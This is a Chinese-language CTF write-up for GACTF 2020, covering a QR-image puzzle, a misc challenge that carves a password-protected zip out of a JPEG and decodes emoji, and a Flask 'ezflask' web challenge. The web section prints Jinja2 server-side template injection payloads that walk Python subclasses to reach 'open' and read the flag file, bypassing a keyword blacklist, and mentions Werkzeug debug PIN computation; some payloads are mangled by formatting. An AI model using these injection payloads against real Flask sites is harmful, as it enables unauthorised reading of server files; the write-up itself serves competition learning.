2020GACTF部分wp

GACTF

misc

签到

给了二维码图 切割再拼上就行

crymisc

给了一个crymisc.docx

无法打开 用file看一下

把后缀名改成zip然后解压
这里奇怪的是用winzip解压会提示3.jpg受密码保护,用360压缩提示文件损坏,用7z命令解压图片为0字节

用mac自带解压能直接解压出来

用binwalk分析3.jpg

有zip的结尾,猜测应该里面有压缩包,尝试修复
找到jpg文件结尾FF D9 后面有一串看起来是base64编码

解码得到压缩包的密码

然后在字符串后面添加zip的文件头504B0304

再分离 用dd foremost或者binwalk都可以

binwalk -e 3.jpg
foremost -T 3.jpg
dd if=3.jpg bs=1 skip=12718 of=new.zip

得到新的压缩包 用刚刚的密码解压

得到一串emoji,找了很多在线解密网站结果都不对,然后发现了以前题的writeup
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17
这里给了一个暴力破解codeemoji的js 自己搭起来然后解密

web

ezflask

# -*- coding: utf-8 -*- 
from flask import Flask, request 
import requests 
from waf import * 
import time 
app = Flask(__name__) 
@app.route('/ctfhint') 
def ctf(): 
	hint =xxxx 
	# hints trick = xxxx 
	# trick 
	return trick 

@app.route('/') 
def index(): 
# app.txt 

@app.route('/eval', methods=["POST"]) 
def my_eval(): 
# post eval 

@app.route(xxxxxx, methods=["POST"]) 
# Secret 
def admin(): 
# admin requests 
	
if __name__ == '__main__': 
	app.run(host='0.0.0.0',port=8080)

simple flask

绕ssti黑名单
ban了

'
{{1+1}}
....

用dirmap还扫出了console开启了debug模式

猜测是ssti读文件算pin码
经过fuzz后发现mro等一系列被禁
base___bases_[0]没有被禁,访问{{""._class_._base_.__subclasses()}}

 SECRET = "JpofUPvEjXWbz21ypHXW";

调用os eval system皆被禁,只存在open可以读文件

{{"".class__._base_._subclasses_()[179]._init_._globals_.__builtins"open".read()}}

{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}

发现可以直接读flag文件了 应该是非预期吧

posted @ 2020-09-05 10:48  twosmi1e  阅读(759)  评论(0编辑  收藏  举报